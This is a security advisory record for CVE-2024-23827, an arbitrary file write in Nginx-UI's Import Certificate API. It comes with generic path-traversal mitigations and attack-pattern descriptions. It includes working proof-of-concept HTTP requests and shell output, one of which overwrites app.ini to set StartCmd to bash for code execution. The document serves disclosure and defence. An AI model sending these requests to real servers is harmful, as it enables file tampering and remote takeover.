{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"}
root@aze:~/nginx# cat app.ini | grep "StartCmd"
StartCmd = bash
For the new config to be applied the app needs to be restarted
Impact
Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.10-0.20240128060047-8581bdd3c6f4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23827"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-29T22:30:18Z",
"nvd_published_at": "2024-01-29T16:15:09Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```go\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName string `json:\"name\"`\n\t\tSSLCertificatePath string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod string `json:\"challenge_method\"`\n\t\tDnsCredentialID int `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, \u0026json) {\n\t\treturn\n\t}\n\tcertModel := \u0026model.Cert{\n\t\tName: json.Name,\n\t\tSSLCertificatePath: json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod: json.ChallengeMethod,\n\t\tDnsCredentialID: json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := \u0026cert.Content{\n\t\tSSLCertificatePath: json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate: json.SSLCertificate,\n\t\tSSLCertificateKey: json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```go\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt\u0027s possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```bash\nroot@aze:~/nginx# cat app.ini | grep \"StartCmd\"\nStartCmd = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost = 0.0.0.0\\r\\nHttpPort = 9000\\r\\nRunMode = debug\\r\\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail = props@pros.com\\r\\nDatabase = database\\r\\nStartCmd = bash\\r\\nCADir = dqsdqsd\\r\\nDemo = false\\r\\nPageSize = 10\\r\\nGithubProxy = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath =\\r\\nConfigDir =\\r\\nPIDPath =\\r\\nTestConfigCmd =\\r\\nReloadCmd =\\r\\nRestartCmd =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken =\\r\\nProxy =\\r\\nModel = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint =\\r\\nClientId =\\r\\nClientSecret =\\r\\nCertificate =\\r\\nOrganization =\\r\\nApplication =\\r\\nRedirectUri =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# cat app.ini | grep \"StartCmd\"\nStartCmd = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.",
"id": "GHSA-xvq9-4vpv-227m",
"modified": "2026-07-06T19:16:56Z",
"published": "2024-01-29T22:30:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-xvq9-4vpv-227m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23827"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/commit/8581bdd3c6f49ab345b773517ba9173fa7fc6199"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.